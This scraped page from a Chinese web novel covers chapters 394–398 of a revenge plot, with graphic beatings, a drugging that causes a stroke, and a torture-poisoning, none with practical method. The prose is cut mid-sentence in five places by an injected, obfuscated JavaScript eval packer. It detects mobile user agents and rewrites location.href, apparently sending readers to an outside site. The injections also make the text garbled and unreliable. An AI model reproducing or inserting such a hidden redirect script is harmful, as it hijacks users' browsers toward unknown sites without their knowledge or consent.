陆贯轩亲眼看到方成才受到了惩戒,心中那口恶气终于稍稍平复几分。 但想到自己**的命运,他心中还是一阵发苦。 第394章 **的老男人 回到陆家,他直奔知春苑而去。 方氏挨了他一顿痛打,又被下令不许请大夫,身边的心腹也全都被换了,此时她半死不活地躺在床上,渴了连倒水的人都没有。 两个女儿都没有来看过自己一回。 方氏心想,她们定然是来过的,只是陆贯轩不让她们来见自己罢了。 陆贯轩进来时,还闻到了一股骚臭味,他的脸上顿时露出满满的嫌恶。 方氏掀起眼皮看向他,眼神麻木。 陆贯轩本想再打她一顿,但那股味儿太刺鼻,他便远远地站着,没有靠近。 “方氏,今日你兄长挨了二十板子,还被皇上撸了官职。你那好外甥,也没了科考的资格,你们方家遭报应了!” 方氏的脸上依旧没有半分波澜。 她现在都自身难保了,又怎会去管其他人的死活? 更何况,她陷入困境,他们也不曾来搭救自己。 既如此,大家都别好过。 她唯一看不惯的,是陆贯轩的这副嘴脸。 她扯了扯唇角,露出一抹意味不明的笑。 “我和方家不好过,你又有什么好得意的?一个注定**的老男人。” 最后那话,她说得很慢,每一个字都狠狠戳了陆贯轩的神经。 这是他不能触碰的伤口! 陆贯轩顾不上嫌弃,直接冲上去,扬起手就给了方氏一记耳光,即便这样仍然不解气,又伸手把她从床上拖了下来,好一顿拳打脚踢。 方氏只能抱着脑袋,蜷缩成一团保护自己。 陆贯轩一边打一边骂,方氏愣是一声不吭,不肯开口求饶。 打累了,陆贯轩才停了下来,依旧指着她的鼻子怒骂。 “我现在成了整个京城的笑柄,你们方家上下也休想好过!” 方氏被打得浑身疼,肋骨似是断了。 她捂着胸口,艰难地呼吸。 “你冲着我们发火算什么本事?有本事,你去找陆知苒啊!你敢不敢冲她发火?” 陆贯轩怒骂,“此事与苒姐儿有什么关系?你休要挑拨离间!” 方氏发出嗬嗬的古怪笑声。 “跟她没关系?你可真是自欺欺人。当日君儿与娇儿同时**,你当真以为是巧合吗?他们中什么毒不好,偏偏中的是需要亲生母亲的心头血才能解的毒?” “那消失了十几年的稳婆,怎么刚好在那个时候找上门来了?一件事是巧合,几件事同时发生,就是有人蓄意为之。除了陆知苒,谁会这般恨我,非要把此事揭穿?” 方氏恨极了陆知苒,临死前不狠狠捅她一刀,方氏不甘心。 陆贯轩面色果然变了。 “你休要血口喷人!你当年做下这桩龌龊事时,苒姐儿才几岁,她怎会知晓内情?更何况,她对君儿素来不错,她定是把君儿当成亲弟弟。” 方氏意味不明地笑了笑,“老爷莫不是忘了,她与紫鹃素来走得近?那**跟在我身边那么多年,老爷当真以为她毫不知情?她也是我的帮凶,只是故意瞒而不报罢了。” “可笑,她对老爷守口如瓶,却将事情抖给你的好女儿,她们联起手来,将你的尊严踩在脚底,看着你被众人嘲笑,自己这会儿指不定躲在哪里偷着乐呢。” 方氏越笑越大声,却牵扯到自己身上的伤处,发出一声声剧烈呛咳。 陆贯轩的脸色更加难看,眼神笼上一抹晦暗不明。 方氏将陆贯轩的反应尽收眼底,她心中更加快意。 这个蠢货,这是信了她的话。 紫鹃虽是自小跟在她身边的丫鬟,但这件事并不知情。 她无父无母,又**丈夫,也没有儿女,没有可以拿捏的人质,为了确保万无一失,方氏在此事上对她严加保密。 但方氏怎会说实话? 她就是要让陆贯轩对紫鹃生出芥蒂,最好是把紫鹃和她那贱种杀了。 她大概是活不长了,如果那对**母女能为她陪葬,那她到了黄泉路上也不孤单。 陆贯轩面皮抖动,嘴里说着不信,但他眼底迸射的怒意已然出卖了他。 他没有心思继续与方氏纠缠,一甩袖,气急败坏地走了。 方氏看着陆贯轩离开的背影,唇角勾起一抹怪异的笑。 只是很快,身上剧痛传来,她脸上的笑就变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752897|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了扭曲的痛苦,她似一条蛆虫似的无助地在地上翻滚,呻吟。 陆贯轩脑中不停回忆着方氏的那番话,怒火在胸中一点点膨胀,几乎将他点燃。 先前他被这桩巨大变故打倒,脑子都是混沌的,完全没有认真梳理这整件事,也忽略了很多细节。 方才方氏的一番话,让他的脑子瞬间清醒了。 这件事,的确很可疑,绝不是巧合可以解释的。 陆贯轩不敢去找陆知苒对质,他直奔紫鹃的院子而去。 那个**,自己先前竟然忘了她。 早该想到的。 陆贯轩怒气冲冲地闯进来,紫鹃露出惊慌之色,却不得不迎上前。 他看着紫鹃这张明显松弛的脸,满脸嫌恶。 再想到方氏的那番话,他更是愤怒,抬脚就狠狠踹了她一脚。 “**,你早就知道方氏当年所作的勾当,是不是?你帮着那**瞒我,真是把我当猴耍!” 紫鹃早有预料他会有兴师问罪的一日,也做好了应对的准备,方才她已经下意识避让,只是依旧被踹得生疼。 她满脸含泪,“老爷,如果妾身告诉您,妾身不知道这件事,您相信吗?” 陆贯轩被愤怒冲昏了头脑,哪里听得进她的话? “**,事到临头你还敢狡辩!你是方氏的心腹,怎么可能不知道?” 紫鹃满脸苦笑,“表面上,妾身的确是夫人的心腹,但实际上妾身不过就是个卑贱下人罢了。妾身孑然一身,没有父母兄弟,也没有丈夫儿女,夫人没有可以借此拿捏妾身的筹码,怎会放心把这么要紧的事告诉妾身?” “但魏嬷嬷却不同,她是方家的家生子,她人在夫人跟前伺候,但她的儿子儿媳,女儿女婿,甚至孙辈全都在方家,夫人不会担心她往外说。” 这些弯弯绕绕,也是紫鹃这些时日一点点慢慢想明白的。 陆贯轩闻言,微微愣住。 紫鹃见此继续道:“老爷您再想想,如果妾身知道这件事,夫人断然不会容许妾身活到现在,妾身为了自保,也定然早就把事情抖出去了,又怎会藏着掖着?” 第395章 中风 这番话终于让陆贯轩心中的怒火稍稍平息。 好像有点道理。 这件事的确是一大筹码,紫鹃若当真知晓,不可能藏着不用,反倒一直拖到现在。 当初,方氏给西苑的姨娘们下毒之事败露,她利用陆君成的前程求自己求情,陆贯轩才没有除掉她,而是将她送往家庙。 彼时紫鹃若再把此事抖出来,他定然不会放过方氏。 反观方氏方才的那番话,刚开始听还挺像那么回事,实际上却禁不起推敲。 他被愤怒冲昏了头脑,所以才没有多想。 紫鹃看着陆贯轩的表情变化,知道自己的话入了他的心。 他被说服了。 紫鹃大大松了口气。 幸亏自己早就和方氏闹翻了,不然这一次,自己也难逃一劫。 紫鹃朝陆贯轩膝行几步,仰头看着他,语气满是恋慕。 “老爷,妾身跟了您,对您就是一心一意,全无二心,妾身恨不得把心剖出来证明清白,请您一定要相信妾身。” 陆贯轩的火气慢慢平复,“你先起来吧。” 紫鹃擦了擦眼泪,小心翼翼地站了起来。 陆贯轩的目光依旧有些冷,在她的身上转了一圈,带着打量。 紫鹃低着头,伏低做小的姿态。 半晌,陆贯轩开口,话题却是转到了陆知苒的身上。 “你与苒姐儿似是交情不错。” 紫鹃忙道:“老爷这是折煞妾身了,妾身只是个妾,岂敢与大小姐攀交情?” “这件事,她可有来向你打探过?” 紫鹃摇头,“妾身伺候在夫人身边那么多年,尚不知此事,大小姐如何会知晓?打探之说,根本是无稽之谈。” 她似鼓足勇气地开了口,“老爷,妾身斗胆,是不是夫人在您跟前说了些什么?” 陆贯轩眼神一厉,紫鹃瑟缩了一下,立马又跪了下去,诚惶诚恐地开口。 “妾身逾越,但有些话还是要说。夫人与大小姐势同水火,她岂会盼着大小姐好?夫人自知难以洗清此事嫌疑,这才肆意攀咬,想要挑拨老爷和大小姐的关系。妾身或许是小人之心,请老爷责罚!” 紫鹃的额头贴着地面,一动不动。 陆贯轩目光深深地看着她,眼神莫名。 他不愿承认自己被方氏挑拨了,那样只会显得他很愚蠢。 而且,他心中的疑虑也没有完全消失。 这件事,陆知苒的确很可疑。 陆贯轩没有再继续这个话题,也没有在这里多待,很快离开了。 他必须要去查证这件事。 哪怕,他现在不能拿陆知苒怎么样,他也要弄清楚,这件事究竟是否与她有关。 他不想受人蒙蔽。 陆贯轩一走,紫鹃身子一软,瘫在地上。 丫鬟急忙上前搀扶她,发现她的后背已经湿透了。 “姨娘,您身上还好吗?奴婢去给您请府医吧。” 紫鹃摇摇头,“不用,我没事。辰儿呢?” “小姐在西厢房玩呢。” 紫鹃放心下来。 方才得知陆贯轩来了,她立马就让人把孩子抱走了,她担心陆贯轩会迁怒到孩子的身上。 这样的事,的确是这个男人做得出来的。 紫鹃的心依旧噗噗乱跳。 她知道,自己在这件事上是无辜的,但陆贯轩未必真的相信。 这次他被自己说服了,难保不会在下次的什么契机下,又翻出这笔旧账。 到那个时候,她是否还能全身而退? 又是否有能力护住她的辰儿? 紫鹃心乱如麻,一番思索,她才有了决断。 她对丫鬟吩咐,“你找机会出府,悄悄地去瑾王府求见王妃,就说有要事……” 她没有能力抗衡陆贯轩,但陆知苒有。 紫鹃发现,陆知苒对陆贯轩这个亲爹,其实没有太多感情,甚至是厌恶的。 或许,她们是同一边的。 但紫鹃不敢保证自己的人能否见到陆知苒,她只能去试试。 紫鹃的丫鬟领命而去。 小半个时辰之后,那丫鬟回来了,还带回来了一句话。 “近日天气渐热,老爷该用些清凉散静静心了。” 紫鹃听了,不禁面露沉思。 那丫鬟有些不解,“姨娘,这话是什么意思?” 紫鹃没回答,但大小姐既然传了这话,定然有她的用意。 清凉散,静静心…… 紫鹃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759586|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若有所思。 那头,陆知苒主仆也在谈论此事。 丹烟疑惑地问,“王妃,您给紫鹃姨娘传的那话是什么意思?” 陆知苒眸底多了一丝冷意。 “我爹最近着急上火,合该闭上嘴,好好休息休息。” 丹烟依旧困惑。 老爷哪里值得自家王妃如此关心? 翠芙却露出若有所思之色,王妃怕是想让老爷一直休息下去。 “王妃,紫鹃姨娘能明白您话里的意思吗?” 陆知苒见翠芙这般神色,当即明了,她这是看懂了自己的意图。 她露出一抹欣慰之色,她的身边还是有聪明人的。 “紫鹃心思玲珑,能猜出来。若她猜不出来,那我也没必要扶她。” 她需要一个精明之人替她打理陆家的事务。 若紫鹃不行,她可以另外扶其他人,那些老姨娘中未必没有有能力之人。 丹烟听她们二人一唱一和的,脸上更加茫然。 到底在说什么啊。 她索性也不问了,还是专心琢磨今天晚上吃什么吧。 三日后,陆府下人匆匆来报,陆贯轩饮酒过量,半夜突然失禁,眼下已然瘫在床上,动不了了。 陆知苒得了消息,第一时间派人去请太医,自己也匆匆赶回陆家。 她赶到时,紫鹃正在陆贯轩床边抹泪。 而陆贯轩躺在床上,嘴巴竟然也歪了,说话含糊不清,还一直在淌口水。 他看到陆知苒,眼底立马迸射出强烈的希冀。 他张嘴求助,但说出的话含混不清,反倒口水流得更加汹涌,他越是着急,就越是难以控制。 那番模样,实在狼狈。 “怎会如此?” 紫鹃一边哭一边道,“妾身也不知道,最近老爷没唤妾身伺候,老爷身边的小厮说,老爷是睡前喝了酒,半夜就这般了,妾身实在是不知该如何是好了。” 陆知苒面色晦暗不明,紫鹃一时也有些忐忑。 太医赶来,给陆贯轩诊断,最后只能摇头。 “陆大人这是郁结于心,又酗酒过度,邪气入体,这才诱发了中风,万幸,没有伤及性命,但是要想好起来,老夫也无能为力了。” 第396章 娘亲是**的? 陆贯轩人虽不能动,但意识是清醒的,他将太医的话听进耳中,顿时急了,咿咿呀呀地说着话,刚刚垫上的口水帕又被打湿了。 陆知苒一脸沉痛,“真的没有法子了吗?还请您再多费费心。” 那太医摇头,“老夫若有法子,岂会见死不救?” 陆贯轩脸色涨红,无比艰难地从挤出一句话。 “邢,邢,老,太爷……” 大家总算听懂了。 当初,邢老太爷也突发中风,但他被治好了。 救治之人是蒋南笙。 这也是蒋南笙的女儿身揭开之后,大家才知晓的此事。 邢初雪还特意备了礼,感谢了蒋南笙。 难为陆贯轩还能记住。 陆知苒满脸遗憾,“爹,邢老太爷的中风是南笙诊治的,但南笙现在不在京城,去了何处也无人可知,一时半会儿只怕寻不到人。” 陆贯轩闻言,眼底的希望瞬间熄灭。 但他不死心,嘴里依旧艰难开口。 “找,去,去找……” 陆知苒一脸真诚,“爹,您放心,女儿定会派人去找的,只要找到她,定然第一时间把她带回来为您诊治。” 陆贯轩呼哧呼哧地喘气,看着陆知苒的眼神充满了期待。 忽而,屋中又传来一阵骚臭味,大家的神色都变了变。 不用想也能猜到,这股骚臭味从何而来。 床上的陆贯轩脸色涨得通红,一股前所未有的羞愤将他席卷。 陆知苒体贴地把大家都遣了出去,只留两个得力的小厮帮忙换洗。 送走了太医,紫鹃走到陆知苒跟前,跪了下来。 “王妃,是妾身没有照顾好老爷,还请王妃责罚!” 当日,陆知苒让人给她传了那么一句话,紫鹃心中便有了大胆的猜测。 大小姐对老爷怕是生了杀心。 但大小姐并非真的要取了老爷的性命,只想让他闭嘴,不能再做些不该做的事。 紫鹃不确定自己是否意会成功,最终,她还是咬牙做下了此事。 因为她也希望陆贯轩闭嘴,不然不知道什么时候,又要被他反过来清算旧账。 若她意会错了,便咬死不承认,只要她做得小心些,不留下把柄便是。 此时,她主动向陆知苒认错,却半个字都没提下药之事,只为自己没有照顾好陆贯轩而请罪,她不过是在试探陆知苒的态度罢了。 陆知苒将紫鹃的小心思全都看在眼里。 她笑了笑,紫鹃果然很聪明,自己没有选错人。 陆知苒没有与她绕弯子,“紫鹃,这件事,你做得很好,我没有看错你。” 紫鹃的眼神一亮,原本悬着的心也终于落了下去。 “能为王妃办事,是妾身的荣幸!今后王妃有什么需要效劳的,尽管吩咐,妾身定义不容辞。” 她刚表完忠,陆知苒就道:“说来,我倒是的确有一件事要问你,不知你能否为我解答?” 紫鹃立马道:“王妃请说,妾身定知无不言,言无不尽。” 陆知苒幽幽开口,“当初,我娘亲是**的,你可知道?” 紫鹃的神情僵住,眼底是藏不住的惊慌。 “王,王妃,此,此事……” 她结结巴巴,一时有些语无伦次。 陆知苒淡淡地看着她,“你知道什么,就说什么,只要你坦白,我不会对你如何。” 紫鹃脑中飞快地闪过很多念头,她没有犹豫太久,在隐瞒和坦白之间,她选择了后者。 眼前之人,已经不是当初刚刚和离归家的大小姐了,她连夫人掉包孩子之事都能查到,只怕当年先夫人之死,她也早就知晓了真相。 自己在她面前说谎,只会白白打坏了一手好牌。 她要除掉自己,便似碾死一只蚂蚁那么简单。 “王妃,先夫人的死,的确有蹊跷。此事,其实是老爷和夫人谋划的……” 陆贯轩的官职,是靠洛氏花银子砸出来的。 再往上走,光靠银子就不行了,得有人脉和能力。 洛氏没了作用,陆贯轩待她便不似从前。 而后,他与方氏勾搭上了。 方氏只是小官之女,其实也不符合陆贯轩的目标,但他勾搭不上更高门第的小姐。 方氏的身份自然不会给陆贯轩做小,愿意给他做续弦,也是看他生得英俊的份儿上——也贪图洛氏丰厚的嫁妆。 “是夫人向老爷出了主意,给先夫人下毒,让她慢慢虚弱,最后病故。那毒,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759587|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方家寻来,交给老爷的。” “奴婢当时的确知晓此事,但奴婢只是个下人,根本没有说话的权利,更没法阻止。奴婢对此事瞒而不报,也是担心您会迁怒于奴婢,奴婢该死!” 说完她就砰砰磕头,十分卖力。 此时紫鹃只庆幸当时方氏还没入门,自己这个左右手也没有机会出手对付先夫人。 若自己当真沾了手,只怕王妃更不会放过自己。 陆知苒听了,面上情绪意味不明。 母亲果然死在了他们的手里。 半晌,陆知苒方开口,语气微冷,“陆家现在一团乱,内宅无人打理,父亲也无人照料,我实在是放心不下。” 紫鹃先是一愣,旋即反应过来她的意思,忙道:“妾身不才,愿为王妃分忧。妾身本就是奴婢出身,能照料好老爷,请王妃给妾身这个机会。” 要如何照料,只需要陆知苒一声吩咐,她就能意会,保证能让陆贯轩求生不得求死不能。 陆知苒痛恨陆贯轩,却不能杀了他。 陆家没有男丁,他要活着,当个门面,哪怕这个门面只是一个招牌。 但陆知苒也不想让他好过。 紫鹃能成为她手里的刀,替她办这件事,她很满意。 “这一点,我对你是放心的。” 紫鹃闻言,当即松了口气。 陆知苒又道:“陆家现在没个当家主母,也委实不像样。西苑的姨娘们立不起来,只有你最得力。” 紫鹃闻言,欣喜若狂。 自己这是要得到重用了? 紫鹃连忙道:“妾身身份低微,不敢以当家主母自居,但妾身能当好陆家的管事,把陆家上下都料理得井井有条。” 陆知苒看着她,面含微笑。 “我自然是信任你的,但偌大一个陆家,光靠你一人也是不行的。我会向母妃从内务府讨要几个得力的老人到府中来,与你一道协理府中事务。” “陆家不能没有后,我亦会与族长商议,从旁支过继一个孩子。到时候,那孩子的吃住念书等一应事宜,就都得有劳紫鹃姨娘多费心了。” “星辰尚且年幼,也没有其他玩伴,若家里多个哥哥,也能与她一起作伴,紫鹃姨娘,你觉得呢?” 第397章 半点都不亏心 紫鹃心头一凛,方才心中生出的窃喜也瞬间被压了下去。 她以为自己要成为这陆家的土皇帝了,但陆知苒的一番话,如一盆冷水兜头浇了下来,叫她瞬间清醒,也老实了。 她只是个妾,还是方氏以前的陪嫁丫鬟,陆知苒没有对她秋后算账,已经是格外开恩,她岂能再肖想更多? 内务府派来的人,是陆知苒的耳目,也是监督和压制她的。 她的女儿终究只是女儿,不可能继承陆家的香火,所以,过继子嗣是必须的。 她今后,非但不能对那孩子怎么样,还得掏心掏肺地巴结讨好,因为他以后顶立门户了,他们母女都要在他的手底下讨生活。 她女儿的婚事,也要仰仗这个未来的陆家当家人。 若她不老实,陆知苒有的是法子除掉她,就像除掉陆贯轩一样。 紫鹃飞快地调整了自己的定位,半点非分之想都不敢再有,恭恭敬敬地应是。 陆知苒将她的神色变化尽收眼底,知道自己的这番敲打起了作用,心中满意。 紫鹃聪明,识时务,可以是一把很好用的刀。 同时,她也有自己的小心思,这没什么,但凡是人,都会有自己的私心。 她有私心反而是好事,陆知苒也能更好地拿捏她,以达成目的。 而且,她还有一个女儿。 这也是陆知苒最终决定用她的原因之一。 有了孩子,就有了软肋。 就算为了她的女儿,她也会老实听话,不敢跟自己作对。 又交代了她几句,紫鹃便恭恭敬敬地退了下去。 陆知苒却没有离开,而是去了知春苑。 听说方氏要**。 陆知苒自然要去看看她,不然岂不遗憾? 方氏的情况比上次更加糟糕。 陆贯轩上次又打了她一顿,她的伤愈发严重。 知春苑的下人完全不把她放在眼里,每日该送的馒头也没了,她就这么活生生地饿着。 实在太渴了,她匍匐着爬到桌前,艰难地拿起茶壶,想给自己倒一杯茶。 但手上半点力气都没有,她连茶壶都拿不稳,茶壶砸在了她身上,摔得粉碎,原本就伤痕累累的身上愈发生疼,她顾不上疼,趴在地上,舔着残余的茶水。 她实在太渴了。 饥饿可以忍受,但是口渴却无比难熬。 她急切地舔着地上的水,忽而,眼前出现了一双绣花鞋。 绣面精美,无比华贵。 方氏的动作僵住。 她缓缓抬起头,便对上了陆知苒充满讥诮怜悯的目光。 方氏的面皮狠狠抖动,旋即,她眼底闪过一股戾气。 她抓起手边的碎瓷片,挥舞着就要往陆知苒的腿上划。 陆知苒身侧的霜华根本没给她靠近的机会,抬脚轻易将她踢翻了。 碎瓷片扎入方氏的身子,她发出一声痛呼,几乎昏死过去。 陆知苒居高临下地看着她,像是在看一个破烂的垃圾。 “方氏,你定然想不到,自己有朝一日会落得这般下场吧。” 方氏面容扭曲,呼吸急促,看她的眼神恨得几乎淬了毒。 “都是你害的,**,都是你害的我!” “是又如何?” 方氏嘶吼,“我不会放过你,我做了鬼定要日日夜夜缠着你,让你不得安宁!” 陆知苒轻笑一声,“你还是好好担心自己吧,你手上沾了多少条人命?到了阴曹地府,只怕要下十八层地狱,连鬼都做不成。” 方氏的面容再次扭曲,心中也莫名生出慌乱。 但她不甘心,不愿在陆知苒面前表现出露怯。 “你以为你做过的事,就全无痕迹吗?你背地里做的事,你父亲已经知道了,他那个人,锱铢必较,心眼比针眼还小,他已经记了你一笔,他定会找机会与你算账!” 陆知苒闻言直接笑了。 “你以为我会怕他?他是什么身份,我又是什么身份?” “他是你父亲,孝道大于天!” 陆知苒这下是真的笑出声了,“你以为一个孝字就能把我压住?真是可笑。更何况,孝道就算当真有用,我爹也注定用不了了,他现在已经中风瘫痪,口不能言,自身都难保了。” 方氏彻底震惊了。 她是心疼怜惜陆贯轩,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771916|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为陆知苒的手段而震惊。 她竟然如此狠,连自己亲爹都敢下手。 陆贯轩的死活她不管,只是希望陆贯轩能厉害点,治一治陆知苒,最好是他们父女反目,闹得不可开交才好。 没想到,陆贯轩竟如此无能。 活该他中风。 “你对付我也就罢了,连自己的亲爹也不放过,你才应该担心日后要下十八层地狱。” 陆知苒眸色冰冷,“他与你勾结,谋害发妻性命,贪墨家财,忘恩负义,狼心狗肺,这么多年,他亦不曾尽过半点为人父的责任,我对他下手,半点都不亏心。” 方氏露出一抹快意的笑,“看到你们父女反目,我心里可真畅快,谢谢你特意来告诉我这个好消息。” 她对陆贯轩那个男人早已没有半点感情了,只有憎恶。 陆贯轩落得这般凄惨的下场,她高兴还来不及。 陆知苒还不会以为自己会为他伤心难过吧? 她脑子有坑才会为陆贯轩掉一滴眼泪。 陆知苒摇了摇头,“我不是来告诉你这个消息的,我是来送你最后一程的。说起他,只是顺带。” 方氏的脸色微变,但很快就恢复如常。 “你觉得我怕死吗?我本就是苟延残喘,活不了多久。你了结了我,反而是在帮我。” 她一副悍不畏死的模样,只有这样,才能不让陆知苒得意。 “你以为我会让你痛痛快快地死吗?那你未免太天真了。当初,你给我母亲下毒,让她缠绵病榻,受尽折磨,我也给你准备了一样东西。” 陆知苒朝霜华示意,霜华便将瓷瓶拿了出来,倒出一颗药。 霜华的声音平静无波,“此为断肠散,服下此毒可叫人肠穿肚烂,如万蚁噬心之痛,最后七窍流血而死。” 陆知苒的语气也很平淡,“为了防止你用其他法子自尽,我会先把你绑起来,下巴卸掉,让你一点点被折磨至死。” 方氏的脸色剧变,身子也下意识瑟缩着。 “你,你好歹毒的心肠!” 陆知苒笑得阴狠,“能亲手手刃仇人,那做个心肠歹毒的人,未尝不可。” 第398章 为娘亲报仇了 霜华上前,捏住方氏的下巴,不顾她的挣扎,将那颗**喂进了她嘴里。 方氏用力挣扎,还伸手在嘴里抠,想把那颗**吐出来,但根本没用。 她以为自己已经不怕**,但真正死到临头,她依旧被死亡的恐惧笼罩。 她被霜华卸掉下巴,又五花大绑了起来,方氏只能像条蛆一样在地上扭来扭去。 陆知苒似想起了什么,又道:“对了,这段时间,我的两个好妹妹,有没有来看你?” 方氏似被踩到痛脚,脸色骤然变了。 “你想做什么?她们是你妹妹!” 陆知苒轻笑,“我只是关心关心自己妹妹罢了,你紧张什么?我不会对她们做什么,她们自己的生活便已经足够焦头烂额了。” “方表妹……哦,现在应该喊三妹妹了。三妹妹和自己名义上的兄长私通生子,还连累方成才罢官,打板子,她那情郎也没了科举的机会,她在方家,成了人人喊打的扫把星。我听说,谢氏已经把她绑了送到庄子上,要把她嫁给一个庄户。” 方氏的眼睛瞬间瞪大,胸口更是一阵剧痛。 她的娇儿,本该安逸富足地度过一生,怎会变成这样! 不等她反应和消化这股钻心的痛楚,陆知苒慢条斯理地继续开口。 “二妹妹在姜家原本过得挺不错,毕竟她为姜家生了嫡长孙,但近日,姜家发现,她那孩子脑子有问题,是个痴傻儿。姜家人素来都不大讲道理,这个责任自然落在了二妹妹的身上,她啊,定然没少挨打。” 方氏闻言,脸色变得更加难看,心痛得无以复加。 她想说些什么,但下巴被卸,她只能发出含糊不清的呜咽。 她的两个心肝宝贝,为何会遭受这一切? 贼老天,当真不公啊! 一阵强烈的剧痛袭来,仿佛有千万根烧红的钢针在腹腔里搅拌,当剧痛蔓延至心脏,她蜷缩着身子在地上疯狂打滚。 痛,实在是太痛了。 她以为自己这段时间经历的一切已经足够痛苦,现在她才知道,先前的痛苦只是浮于表面,现在的疼痛,却是深入骨髓! 她只想立马自我了结,但她却什么都做不了,只能被动地承受痛苦,在地上来回翻滚。 好似经历了无数个日夜般的漫长,她痛得几乎麻木。 她开始七窍流血,暗红血线从耳朵、鼻子、眼睛、嘴巴蜿蜒而下,凝结成诡异的蛛网状,她喊得声音都沙哑了。 她艰难地爬到陆知苒的脚边,无声地向她求饶。 她想死,她想马上**,不想再忍受这难言的痛苦。 但陆知苒怎会如她所愿? 她居高临下地看着方氏,眼底没有一丝温度。 母亲生病时,她已经有记忆了。 她记得,母亲总是半夜被痛醒,为了不吵醒她,母亲只能蜷着身子,用力地咬着唇。 她病逝时,整个人已经瘦成了皮包骨。 直到闭上眼睛的那一刻,她都在经历痛苦的折磨。 这一切,都是陆贯轩和方氏害的。 当年,她无力护住母亲,现在,她要把这一切原原本本地还给方氏。 “忘了告诉你,陆家已经给你写了休书,你不再是陆家妇。而方家,也不愿认你这个女儿,你**之后,不仅进不了陆家的祠堂,也回不了方家。从此以后,你就只能做个孤魂野鬼了。” 方氏被这话刺激,身子猛地一个打挺,然后呕出一口血,眼神涣散,慢慢不动了。 终于能解脱,不用再忍受痛苦。 但她还是不甘心啊,自己汲汲营营一辈子,却落得这么一个下场,死后连个牌位都没有。 她这一生究竟图个什么? 她死得凄惨,她的女儿也都所遇非人,她们母女的命怎么这么苦啊。 若有来世…… 这个念头才刚升起,她还没来得及细想,就戛然而止。 她双眸圆睁,彻底没了生息。 霜华上前,探了探她的鼻息。 “没气了。” 陆知苒冷漠地道:“扔到乱葬岗吧。” 说完,她转身,离开了这里。 她去了祠堂,看着母亲那明显刷了新漆的牌位,轻轻地擦拭着上面不存在的灰尘。 “娘,女儿今日,替您报仇了。” 门外一阵风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771917|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹过,吹得祠堂里的烛火一阵摇曳,好似是洛氏在无声地回应。 陆家放出了对方氏的休书,将她移除族谱。 而后,才放出方氏的死讯。 方家已经公开声名,断绝与方氏的关系,是以,他们没有任何表示。 世人更不知道,方氏已经被扔到了乱葬岗,被野狗分食了。 而陆贯轩中风的消息也传开了。 众人顿时对他生出深深的同情,本以为陆大人先前的境遇已经够惨了,没想到,还有更惨的。 中风,失禁,瘫痪在床,后半辈子只能毫无尊严地在床上躺着。 这样的日子,不如**算了。 ——就算是**,也没有儿子给他摔盆。 惨,实在是太惨了。 德丰帝听说了,不禁再次心生同情,还特意召了太医前来询问一番。 得知太医也无能为力,德丰帝便只能赏了一些补品,聊表心意。 他这是看在陆知苒的面子上,不然,陆贯轩这个毫无建树的旧臣可入不了他的眼。 陆贯轩得知德丰帝竟然给自己派下赏赐,一时悲喜交加。 情绪太过激动的后果就是,他又大小便失禁了。 而伺候的下人明显不如之前上心,见他又拉了,两人开始互相推搡,谁都不肯给他换洗。 陆贯轩大怒,含糊其辞地骂他们早死,他可是得了皇上的赏赐的。 但两个下人却一脸不屑。 皇上也是看在大小姐的面子上才会赐下这些赏赐,他们知道该听谁的。 而且皇上也不会亲自过问和查看他的情况,下人们自然有恃无恐。 